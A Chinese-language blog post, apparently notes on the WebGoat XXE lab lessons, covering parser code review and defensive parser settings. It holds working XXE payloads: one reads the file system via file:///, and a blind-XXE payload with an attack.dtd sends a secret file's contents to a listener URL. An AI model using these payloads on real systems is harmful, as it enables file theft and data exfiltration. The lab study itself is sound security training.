Let’s try
这个按照第三页的,改一改
<?xml version="1.0"?>
<!DOCTYPE author [
<!ENTITY js SYSTEM "file:///">
]
><comment> <text>&js;</text></comment>
即可完成。看代码的话需要搜索xxe/simple
结果只要包含usr etc var
就判成功了。接着看上面的parseXml
问了下大佬后端,告诉我解析xml用dom4j,还有个jaxen,Xmldecode?
贴个JAXB的文档JAXB
Spring supports the JAXB 2.0 API as XML marshalling strategies, following the
Marshaller
andUnmarshaller
interfaces described inMarshaller
andUnmarshaller
. The corresponding integration classes reside in theorg.springframework.oxm.jaxb
package.
代码注释参考木爷的Java代码审计07:WebGoat XML外部实体注入(XXE) - 木头的小屋
这里的如果secure为true,这里的value为空就会默认禁止所有外部DTD、实体和协议的访问,详细可以参考XMLConstants - Java 11中文版 - API参考文档
webgoat也给出了spring boot框架的来作为例子,说明禁止的代码
Modern REST framework
默认发送的是json格式的,但是当content-type改为xml后,也会按照xml进行解析
xml部分和前面没有太大区别。只是这个写法,emm应该也不会有几个人这样写吧。
XXE DOS
来源:Billion laughs attack - Wikipedia
危害: this small (< 1 KB) block of XML will actually take up almost 3 gigabytes of memory.
Blind XXE
Post
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///Users/MrBelieVe/Desktop/OneDrive/CodeReview/WebGoat/webgoat-lessons/xxe/target/classes/secret.txt">
<!ENTITY % test SYSTEM "http://127.0.0.1:9090/files/mrbelieve/attack.dtd">
%test;
%payload;
]>
<comment> <text>&attack;</text></comment>
attack.dtd
<!ENTITY % payload "<!ENTITY attack SYSTEM 'http://127.0.0.1:9090/landing?text=%file;'>">
有结果就是执行成功了
代码和前面也没有什么区别
「真诚赞赏,手留余香」
真诚赞赏,手留余香
使用微信扫描二维码完成支付